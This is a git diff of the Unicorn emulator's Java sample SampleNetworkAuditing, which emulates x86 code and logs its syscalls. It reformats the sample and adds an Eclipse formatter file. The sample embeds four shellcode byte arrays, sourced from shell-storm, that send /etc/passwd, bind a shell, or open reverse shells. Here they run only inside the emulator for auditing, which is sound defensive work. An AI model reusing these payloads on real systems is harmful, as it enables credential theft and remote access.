diff --git a/bindings/const_generator.py b/bindings/const_generator.py index b2607031..00096c6d 100644 --- a/bindings/const_generator.py +++ b/bindings/const_generator.py @@ -72,7 +72,7 @@ template = { 'java': { 'header': "// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT\n\npackage unicorn;\n\npublic interface %sConst {\n", 'footer': "\n}\n", - 'line_format': ' public static final int UC_%s = %s;\n', + 'line_format': ' public static final int UC_%s = %s;\n', 'out_file': './java/unicorn/%sConst.java', # prefixes for constant filenames of all archs - case sensitive 'arm.h': 'Arm', @@ -86,7 +86,7 @@ template = { 's390x.h' : 'S390x', 'tricore.h' : 'TriCore', 'unicorn.h': 'Unicorn', - 'comment_open': '//', + 'comment_open': ' //', 'comment_close': '', }, 'dotnet': { diff --git a/bindings/java/eclipse-formatter.xml b/bindings/java/eclipse-formatter.xml new file mode 100644 index 00000000..697e35ea --- /dev/null +++ b/bindings/java/eclipse-formatter.xml @@ -0,0 +1,399 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bindings/java/samples/SampleNetworkAuditing.java b/bindings/java/samples/SampleNetworkAuditing.java index 7a822acb..6f572dc2 100644 --- a/bindings/java/samples/SampleNetworkAuditing.java +++ b/bindings/java/samples/SampleNetworkAuditing.java @@ -27,403 +27,446 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. import unicorn.*; import java.util.*; - public class SampleNetworkAuditing { - public static long next_id = 3; - public static final int SIZE_REG = 4; + public static long next_id = 3; + public static final int SIZE_REG = 4; - private static LogChain fd_chains = new LogChain(); + private static LogChain fd_chains = new LogChain(); - public static long get_id() { - return next_id++; - } + public static long get_id() { + return next_id++; + } - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte) (val & 0xff); + val >>>= 8; + } + return res; + } + private static class MyInterruptHook implements InterruptHook { + // callback for tracing Linux interrupt + public void hook(Unicorn uc, int intno, Object user) { + // System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode())); - private static class MyInterruptHook implements InterruptHook { - // callback for tracing Linux interrupt - public void hook(Unicorn uc, int intno, Object user) { -// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode())); - - // only handle Linux syscall - if (intno != 0x80) { - return; - } - Long eax = (Long)uc.reg_read(Unicorn.UC_X86_REG_EAX); - Long ebx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX); - Long ecx = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX); - Long edx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EDX); - Long eip = (Long)uc.reg_read(Unicorn.UC_X86_REG_EIP); - - // System.out.printf(">>> INTERRUPT %d\n", toInt(eax)); - - if (eax == 1) { // sys_exit - System.out.printf(">>> SYS_EXIT\n"); - uc.emu_stop(); - } - else if (eax == 3) { // sys_read - long fd = ebx; - long buf = ecx; - long count = edx; - - String uuid = UUID.randomUUID().toString().substring(0, 32); - - byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, (int)Math.min(count, uuid.length())); - uc.mem_write(buf, dummy_content); - - String msg = String.format("read %d bytes from fd(%d) with dummy_content(%s)", count, fd, uuid.substring(0, dummy_content.length)); - - fd_chains.add_log(fd, msg); - System.out.printf(">>> %s\n", msg); - } - else if (eax == 4) { // sys_write - long fd = ebx; - long buf = ecx; - long count = edx; - - byte[] content = uc.mem_read(buf, count); - - String msg = String.format("write data=%s count=%d to fd(%d)", new String(content), count, fd); - - System.out.printf(">>> %s\n", msg); - fd_chains.add_log(fd, msg); - } - else if (eax == 5) { // sys_open - long filename_addr = ebx; - long flags = ecx; - long mode = edx; - String filename = read_string(uc, filename_addr); - - Long dummy_fd = get_id(); - uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd); - - String msg = String.format("open file (filename=%s flags=%d mode=%d) with fd(%d)", filename, flags, mode, dummy_fd); - - fd_chains.create_chain(dummy_fd); - fd_chains.add_log(dummy_fd, msg); - System.out.printf(">>> %s\n", msg); - } - else if (eax == 11) { // sys_execv - // System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx)); - String filename = read_string(uc, ebx); - - System.out.printf(">>> SYS_EXECV filename=%s\n", filename); - } - else if (eax == 63) { // sys_dup2 - fd_chains.link_fd(ecx, ebx); - System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx); - } - else if (eax == 102) { // sys_socketcall - // ref: http://www.skyfree.org/linux/kernel_network/socket.html - Long call = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX); - Long args = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX); - - // int sys_socketcall(int call, unsigned long *args) - if (call == 1) { // sys_socket - // err = sys_socket(a0,a1,a[2]) - // int sys_socket(int family, int type, int protocol) - long family = toInt(uc.mem_read(args, SIZE_REG)); - long sock_type = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - long protocol = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); - - Long dummy_fd = get_id(); - uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd); - - if (family == 2) { // AF_INET - String msg = String.format("create socket (%s, %s) with fd(%d)", ADDR_FAMILY.get(family), SOCKET_TYPES.get(sock_type), dummy_fd); - fd_chains.create_chain(dummy_fd); - fd_chains.add_log(dummy_fd, msg); - print_sockcall(msg); - } - else if (family == 3) { // AF_INET6 - } + // only handle Linux syscall + if (intno != 0x80) { + return; } - else if (call == 2) { // sys_bind - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long umyaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); - - byte[] sock_addr = uc.mem_read(umyaddr, addrlen); - - String msg = String.format("fd(%d) bind to %s", fd, parse_sock_address(sock_addr)); - fd_chains.add_log(fd, msg); - print_sockcall(msg); + Long eax = (Long) uc.reg_read(Unicorn.UC_X86_REG_EAX); + Long ebx = (Long) uc.reg_read(Unicorn.UC_X86_REG_EBX); + Long ecx = (Long) uc.reg_read(Unicorn.UC_X86_REG_ECX); + Long edx = (Long) uc.reg_read(Unicorn.UC_X86_REG_EDX); + Long eip = (Long) uc.reg_read(Unicorn.UC_X86_REG_EIP); + + // System.out.printf(">>> INTERRUPT %d\n", toInt(eax)); + + if (eax == 1) { // sys_exit + System.out.printf(">>> SYS_EXIT\n"); + uc.emu_stop(); + } else if (eax == 3) { // sys_read + long fd = ebx; + long buf = ecx; + long count = edx; + + String uuid = UUID.randomUUID().toString().substring(0, 32); + + byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, + (int) Math.min(count, uuid.length())); + uc.mem_write(buf, dummy_content); + + String msg = String.format( + "read %d bytes from fd(%d) with dummy_content(%s)", count, + fd, uuid.substring(0, dummy_content.length)); + + fd_chains.add_log(fd, msg); + System.out.printf(">>> %s\n", msg); + } else if (eax == 4) { // sys_write + long fd = ebx; + long buf = ecx; + long count = edx; + + byte[] content = uc.mem_read(buf, count); + + String msg = String.format("write data=%s count=%d to fd(%d)", + new String(content), count, fd); + + System.out.printf(">>> %s\n", msg); + fd_chains.add_log(fd, msg); + } else if (eax == 5) { // sys_open + long filename_addr = ebx; + long flags = ecx; + long mode = edx; + String filename = read_string(uc, filename_addr); + + Long dummy_fd = get_id(); + uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd); + + String msg = String.format( + "open file (filename=%s flags=%d mode=%d) with fd(%d)", + filename, flags, mode, dummy_fd); + + fd_chains.create_chain(dummy_fd); + fd_chains.add_log(dummy_fd, msg); + System.out.printf(">>> %s\n", msg); + } else if (eax == 11) { // sys_execv + // System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx)); + String filename = read_string(uc, ebx); + + System.out.printf(">>> SYS_EXECV filename=%s\n", filename); + } else if (eax == 63) { // sys_dup2 + fd_chains.link_fd(ecx, ebx); + System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx); + } else if (eax == 102) { // sys_socketcall + // ref: http://www.skyfree.org/linux/kernel_network/socket.html + Long call = (Long) uc.reg_read(Unicorn.UC_X86_REG_EBX); + Long args = (Long) uc.reg_read(Unicorn.UC_X86_REG_ECX); + + // int sys_socketcall(int call, unsigned long *args) + if (call == 1) { // sys_socket + // err = sys_socket(a0,a1,a[2]) + // int sys_socket(int family, int type, int protocol) + long family = toInt(uc.mem_read(args, SIZE_REG)); + long sock_type = + toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long protocol = + toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + Long dummy_fd = get_id(); + uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd); + + if (family == 2) { // AF_INET + String msg = + String.format("create socket (%s, %s) with fd(%d)", + ADDR_FAMILY.get(family), + SOCKET_TYPES.get(sock_type), dummy_fd); + fd_chains.create_chain(dummy_fd); + fd_chains.add_log(dummy_fd, msg); + print_sockcall(msg); + } else if (family == 3) { // AF_INET6 + } + } else if (call == 2) { // sys_bind + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long umyaddr = + toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long addrlen = + toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + byte[] sock_addr = uc.mem_read(umyaddr, addrlen); + + String msg = String.format("fd(%d) bind to %s", fd, + parse_sock_address(sock_addr)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } else if (call == 3) { // sys_connect + // err = sys_connect(a0, (struct sockaddr *)a1, a[2]) + // int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen) + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long uservaddr = + toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long addrlen = + toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + byte[] sock_addr = uc.mem_read(uservaddr, addrlen); + String msg = String.format("fd(%d) connect to %s", fd, + parse_sock_address(sock_addr)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } else if (call == 4) { // sys_listen + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long backlog = + toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + + String msg = String.format( + "fd(%d) listened with backlog=%d", fd, backlog); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } else if (call == 5) { // sys_accept + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long upeer_sockaddr = + toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long upeer_addrlen = + toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + // System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen)) + + if (upeer_sockaddr == 0x0) { + print_sockcall( + String.format("fd(%d) accept client", fd)); + } else { + long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4)); + + byte[] sock_addr = + uc.mem_read(upeer_sockaddr, upeer_len); + + String msg = + String.format("fd(%d) accept client with upeer=%s", + fd, parse_sock_address(sock_addr)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + } else if (call == 9) { // sys_send + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long length = + toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + long flags = + toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); + + byte[] buf = uc.mem_read(buff, length); + String msg = String.format("fd(%d) send data=%s", fd, + new String(buf)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } else if (call == 11) { // sys_receive + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long size = + toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + long flags = + toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); + + String msg = String.format( + "fd(%d) is gonna receive data with size=%d flags=%d", + fd, size, flags); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } else if (call == 13) { // sys_shutdown + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + + String msg = String.format( + "fd(%d) is shutted down because of %d", fd, how); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } } - else if (call == 3) { // sys_connect - // err = sys_connect(a0, (struct sockaddr *)a1, a[2]) - // int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen) - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long uservaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); - - byte[] sock_addr = uc.mem_read(uservaddr, addrlen); - String msg = String.format("fd(%d) connect to %s", fd, parse_sock_address(sock_addr)); - fd_chains.add_log(fd, msg); - print_sockcall(msg); + } + } + + public static final Hashtable SOCKET_TYPES; + public static final Hashtable ADDR_FAMILY; + + static { + SOCKET_TYPES = new Hashtable(); + ADDR_FAMILY = new Hashtable(); + SOCKET_TYPES.put(1L, "SOCK_STREAM"); + SOCKET_TYPES.put(2L, "SOCK_DGRAM"); + SOCKET_TYPES.put(3L, "SOCK_RAW"); + SOCKET_TYPES.put(4L, "SOCK_RDM"); + SOCKET_TYPES.put(5L, "SOCK_SEQPACKET"); + SOCKET_TYPES.put(10L, "SOCK_PACKET"); + + ADDR_FAMILY.put(0L, "AF_UNSPEC"); + ADDR_FAMILY.put(1L, "AF_UNIX"); + ADDR_FAMILY.put(2L, "AF_INET"); + ADDR_FAMILY.put(3L, "AF_AX25"); + ADDR_FAMILY.put(4L, "AF_IPX"); + ADDR_FAMILY.put(5L, "AF_APPLETALK"); + ADDR_FAMILY.put(6L, "AF_NETROM"); + ADDR_FAMILY.put(7L, "AF_BRIDGE"); + ADDR_FAMILY.put(8L, "AF_AAL5"); + ADDR_FAMILY.put(9L, "AF_X25"); + ADDR_FAMILY.put(10L, "AF_INET6"); + ADDR_FAMILY.put(12L, "AF_MAX"); + } + + // http://shell-storm.org/shellcode/files/shellcode-861.php + public static final byte[] X86_SEND_ETCPASSWD = { 106, 102, 88, 49, -37, 67, + 49, -46, 82, 106, 1, 106, 2, -119, -31, -51, -128, -119, -58, 106, 102, + 88, 67, 104, 127, 1, 1, 1, 102, 104, 48, 57, 102, 83, -119, -31, 106, + 16, 81, 86, -119, -31, 67, -51, -128, -119, -58, 106, 1, 89, -80, 63, + -51, -128, -21, 39, 106, 5, 88, 91, 49, -55, -51, -128, -119, -61, -80, + 3, -119, -25, -119, -7, 49, -46, -74, -1, -78, -1, -51, -128, -119, -62, + 106, 4, 88, -77, 1, -51, -128, 106, 1, 88, 67, -51, -128, -24, -44, -1, + -1, -1, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100 }; + // http://shell-storm.org/shellcode/files/shellcode-882.php + public static final byte[] X86_BIND_TCP = { 106, 102, 88, 106, 1, 91, 49, + -10, 86, 83, 106, 2, -119, -31, -51, -128, 95, -105, -109, -80, 102, 86, + 102, 104, 5, 57, 102, 83, -119, -31, 106, 16, 81, 87, -119, -31, -51, + -128, -80, 102, -77, 4, 86, 87, -119, -31, -51, -128, -80, 102, 67, 86, + 86, 87, -119, -31, -51, -128, 89, 89, -79, 2, -109, -80, 63, -51, -128, + 73, 121, -7, -80, 11, 104, 47, 47, 115, 104, 104, 47, 98, 105, 110, + -119, -29, 65, -119, -54, -51, -128 }; + // http://shell-storm.org/shellcode/files/shellcode-883.php + public static final byte[] X86_REVERSE_TCP = { 106, 102, 88, 106, 1, 91, 49, + -46, 82, 83, 106, 2, -119, -31, -51, -128, -110, -80, 102, 104, 127, 1, + 1, 1, 102, 104, 5, 57, 67, 102, 83, -119, -31, 106, 16, 81, 82, -119, + -31, 67, -51, -128, 106, 2, 89, -121, -38, -80, 63, -51, -128, 73, 121, + -7, -80, 11, 65, -119, -54, 82, 104, 47, 47, 115, 104, 104, 47, 98, 105, + 110, -119, -29, -51, -128 }; + // http://shell-storm.org/shellcode/files/shellcode-849.php + public static final byte[] X86_REVERSE_TCP_2 = { 49, -64, 49, -37, 49, -55, + 49, -46, -80, 102, -77, 1, 81, 106, 6, 106, 1, 106, 2, -119, -31, -51, + -128, -119, -58, -80, 102, 49, -37, -77, 2, 104, -64, -88, 1, 10, 102, + 104, 122, 105, 102, 83, -2, -61, -119, -31, 106, 16, 81, 86, -119, -31, + -51, -128, 49, -55, -79, 3, -2, -55, -80, 63, -51, -128, 117, -8, 49, + -64, 82, 104, 110, 47, 115, 104, 104, 47, 47, 98, 105, -119, -29, 82, + 83, -119, -31, 82, -119, -30, -80, 11, -51, -128 }; + + // memory address where emulation starts + public static final int ADDRESS = 0x1000000; + + public static String join(ArrayList l, String sep) { + boolean first = true; + StringBuilder res = new StringBuilder(); + for (String s : l) { + if (!first) { + res.append(sep); } - else if (call == 4) { // sys_listen - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long backlog = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - - String msg = String.format("fd(%d) listened with backlog=%d", fd, backlog); - fd_chains.add_log(fd, msg); - print_sockcall(msg); + res.append(s); + first = false; + } + return res.toString(); + } + + private static class LogChain { + public Hashtable> __chains = + new Hashtable>(); + public Hashtable> __linking_fds = + new Hashtable>(); + + public void clean() { + __chains.clear(); + __linking_fds.clear(); + } + + public void create_chain(long id) { + if (!__chains.containsKey(id)) { + __chains.put(id, new ArrayList()); + } else { + System.out.printf("LogChain: id %d existed\n", id); } - else if (call == 5) { // sys_accept - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long upeer_sockaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - long upeer_addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); - - // System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen)) - - if (upeer_sockaddr == 0x0) { - print_sockcall(String.format("fd(%d) accept client", fd)); - } - else { - long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4)); - - byte[] sock_addr = uc.mem_read(upeer_sockaddr, upeer_len); - - String msg = String.format("fd(%d) accept client with upeer=%s", fd, parse_sock_address(sock_addr)); - fd_chains.add_log(fd, msg); - print_sockcall(msg); - } + } + + public void add_log(long id, String msg) { + long fd = get_original_fd(id); + + if (fd != -1) { + __chains.get(fd).add(msg); + } else { + System.out.printf("LogChain: id %d doesn't exist\n", id); } - else if (call == 9) { // sys_send - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - long length = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); - long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); - - byte[] buf = uc.mem_read(buff, length); - String msg = String.format("fd(%d) send data=%s", fd, new String(buf)); - fd_chains.add_log(fd, msg); - print_sockcall(msg); + } + + public void link_fd(long from_fd, long to_fd) { + if (!__linking_fds.containsKey(to_fd)) { + __linking_fds.put(to_fd, new ArrayList()); } - else if (call == 11) { // sys_receive - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - long size = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); - long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); - - String msg = String.format("fd(%d) is gonna receive data with size=%d flags=%d", fd, size, flags); - fd_chains.add_log(fd, msg); - print_sockcall(msg); + + __linking_fds.get(to_fd).add(from_fd); + } + + public long get_original_fd(long fd) { + if (__chains.containsKey(fd)) { + return fd; } - else if (call == 13) { // sys_shutdown - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - - String msg = String.format("fd(%d) is shutted down because of %d", fd, how); - fd_chains.add_log(fd, msg); - print_sockcall(msg); - } - } - } - } - - public static final Hashtable SOCKET_TYPES; - public static final Hashtable ADDR_FAMILY; - static { - SOCKET_TYPES = new Hashtable(); - ADDR_FAMILY = new Hashtable(); - SOCKET_TYPES.put(1L, "SOCK_STREAM"); - SOCKET_TYPES.put(2L, "SOCK_DGRAM"); - SOCKET_TYPES.put(3L, "SOCK_RAW"); - SOCKET_TYPES.put(4L, "SOCK_RDM"); - SOCKET_TYPES.put(5L, "SOCK_SEQPACKET"); - SOCKET_TYPES.put(10L, "SOCK_PACKET"); - - ADDR_FAMILY.put(0L, "AF_UNSPEC"); - ADDR_FAMILY.put(1L, "AF_UNIX"); - ADDR_FAMILY.put(2L, "AF_INET"); - ADDR_FAMILY.put(3L, "AF_AX25"); - ADDR_FAMILY.put(4L, "AF_IPX"); - ADDR_FAMILY.put(5L, "AF_APPLETALK"); - ADDR_FAMILY.put(6L, "AF_NETROM"); - ADDR_FAMILY.put(7L, "AF_BRIDGE"); - ADDR_FAMILY.put(8L, "AF_AAL5"); - ADDR_FAMILY.put(9L, "AF_X25"); - ADDR_FAMILY.put(10L, "AF_INET6"); - ADDR_FAMILY.put(12L, "AF_MAX"); - } -// http://shell-storm.org/shellcode/files/shellcode-861.php - public static final byte[] X86_SEND_ETCPASSWD = {106,102,88,49,-37,67,49,-46,82,106,1,106,2,-119,-31,-51,-128,-119,-58,106,102,88,67,104,127,1,1,1,102,104,48,57,102,83,-119,-31,106,16,81,86,-119,-31,67,-51,-128,-119,-58,106,1,89,-80,63,-51,-128,-21,39,106,5,88,91,49,-55,-51,-128,-119,-61,-80,3,-119,-25,-119,-7,49,-46,-74,-1,-78,-1,-51,-128,-119,-62,106,4,88,-77,1,-51,-128,106,1,88,67,-51,-128,-24,-44,-1,-1,-1,47,101,116,99,47,112,97,115,115,119,100}; -// http://shell-storm.org/shellcode/files/shellcode-882.php - public static final byte[] X86_BIND_TCP = {106,102,88,106,1,91,49,-10,86,83,106,2,-119,-31,-51,-128,95,-105,-109,-80,102,86,102,104,5,57,102,83,-119,-31,106,16,81,87,-119,-31,-51,-128,-80,102,-77,4,86,87,-119,-31,-51,-128,-80,102,67,86,86,87,-119,-31,-51,-128,89,89,-79,2,-109,-80,63,-51,-128,73,121,-7,-80,11,104,47,47,115,104,104,47,98,105,110,-119,-29,65,-119,-54,-51,-128}; -// http://shell-storm.org/shellcode/files/shellcode-883.php - public static final byte[] X86_REVERSE_TCP = {106,102,88,106,1,91,49,-46,82,83,106,2,-119,-31,-51,-128,-110,-80,102,104,127,1,1,1,102,104,5,57,67,102,83,-119,-31,106,16,81,82,-119,-31,67,-51,-128,106,2,89,-121,-38,-80,63,-51,-128,73,121,-7,-80,11,65,-119,-54,82,104,47,47,115,104,104,47,98,105,110,-119,-29,-51,-128}; -// http://shell-storm.org/shellcode/files/shellcode-849.php - public static final byte[] X86_REVERSE_TCP_2 = {49,-64,49,-37,49,-55,49,-46,-80,102,-77,1,81,106,6,106,1,106,2,-119,-31,-51,-128,-119,-58,-80,102,49,-37,-77,2,104,-64,-88,1,10,102,104,122,105,102,83,-2,-61,-119,-31,106,16,81,86,-119,-31,-51,-128,49,-55,-79,3,-2,-55,-80,63,-51,-128,117,-8,49,-64,82,104,110,47,115,104,104,47,47,98,105,-119,-29,82,83,-119,-31,82,-119,-30,-80,11,-51,-128}; + for (Long orig_fd : __linking_fds.keySet()) { + if (__linking_fds.get(orig_fd).contains(fd)) + return orig_fd; + } + return -1; + } - // memory address where emulation starts - public static final int ADDRESS = 0x1000000; + public void print_report() { + System.out.printf("\n----------------"); + System.out.printf("\n| START REPORT |"); + System.out.printf("\n----------------\n\n"); + for (Long fd : __chains.keySet()) { + System.out.printf("---- START FD(%d) ----\n", fd); + System.out.println(join(__chains.get(fd), "\n")); + System.out.printf("---- END FD(%d) ----\n", fd); + } + System.out.printf("\n--------------"); + System.out.printf("\n| END REPORT |"); + System.out.printf("\n--------------\n\n"); + } + } + // end supported classes - public static String join(ArrayList l, String sep) { - boolean first = true; - StringBuilder res = new StringBuilder(); - for (String s : l) { - if (!first) { - res.append(sep); - } - res.append(s); - first = false; - } - return res.toString(); - } + // utilities + static String read_string(Unicorn uc, long addr) { + StringBuilder ret = new StringBuilder(); + char c; + do { + c = (char) (uc.mem_read(addr++, 1)[0] & 0xff); + if (c != 0) { + ret.append(c); + } + } while (c != 0); - private static class LogChain { - public Hashtable> __chains = new Hashtable>(); - public Hashtable> __linking_fds = new Hashtable>(); + return ret.toString(); + } - public void clean() { - __chains.clear(); - __linking_fds.clear(); - } + static String parse_sock_address(byte[] sock_addr) { + int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff; - public void create_chain(long id) { - if (!__chains.containsKey(id)) { - __chains.put(id, new ArrayList()); - } - else { - System.out.printf("LogChain: id %d existed\n", id); - } - } + if (sin_family == 2) { // AF_INET + int sin_port = + ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff; + return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, + sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, + sin_port); + } else if (sin_family == 6) // AF_INET6 + return ""; + return null; + } - public void add_log(long id, String msg) { - long fd = get_original_fd(id); - - if (fd != -1) { - __chains.get(fd).add(msg); - } - else { - System.out.printf("LogChain: id %d doesn't exist\n", id); - } - } + static void print_sockcall(String msg) { + System.out.printf(">>> SOCKCALL %s\n", msg); + } + // end utilities - public void link_fd(long from_fd, long to_fd) { - if (!__linking_fds.containsKey(to_fd)) { - __linking_fds.put(to_fd, new ArrayList()); - } - - __linking_fds.get(to_fd).add(from_fd); - } - - public long get_original_fd(long fd) { - if (__chains.containsKey(fd)) { - return fd; - } - - for (Long orig_fd : __linking_fds.keySet()) { - if (__linking_fds.get(orig_fd).contains(fd)) - return orig_fd; - } - return -1; - } + static void test_i386(byte[] code) { + fd_chains.clean(); + System.out.printf("Emulate i386 code\n"); + try { + // Initialize emulator in X86-32bit mode + Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - public void print_report() { - System.out.printf("\n----------------"); - System.out.printf("\n| START REPORT |"); - System.out.printf("\n----------------\n\n"); - for (Long fd : __chains.keySet()) { - System.out.printf("---- START FD(%d) ----\n", fd); - System.out.println(join(__chains.get(fd), "\n")); - System.out.printf("---- END FD(%d) ----\n", fd); - } - System.out.printf("\n--------------"); - System.out.printf("\n| END REPORT |"); - System.out.printf("\n--------------\n\n"); - } - } - // end supported classes + // map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - // utilities - static String read_string(Unicorn uc, long addr) { - StringBuilder ret = new StringBuilder(); - char c; - do { - c = (char)(uc.mem_read(addr++, 1)[0] & 0xff); - if (c != 0) { - ret.append(c); - } - } while (c != 0); - - return ret.toString(); - } + // write machine code to be emulated to memory + mu.mem_write(ADDRESS, code); - static String parse_sock_address(byte[] sock_addr) { - int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff; - - if (sin_family == 2) { // AF_INET - int sin_port = ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff; - return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, sin_port); - } - else if (sin_family == 6) // AF_INET6 - return ""; - return null; - } + // initialize stack + mu.reg_write(Unicorn.UC_X86_REG_ESP, ADDRESS + 0x200000L); - static void print_sockcall(String msg) { - System.out.printf(">>> SOCKCALL %s\n", msg); - } - // end utilities + // handle interrupt ourself + mu.hook_add(new MyInterruptHook(), null); - static void test_i386(byte[] code) { - fd_chains.clean(); - System.out.printf("Emulate i386 code\n"); - try { - // Initialize emulator in X86-32bit mode - Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - mu.mem_write(ADDRESS, code); - - // initialize stack - mu.reg_write(Unicorn.UC_X86_REG_ESP, ADDRESS + 0x200000L); - - // handle interrupt ourself - mu.hook_add(new MyInterruptHook(), null); - - // emulate machine code in infinite time - mu.emu_start(ADDRESS, ADDRESS + 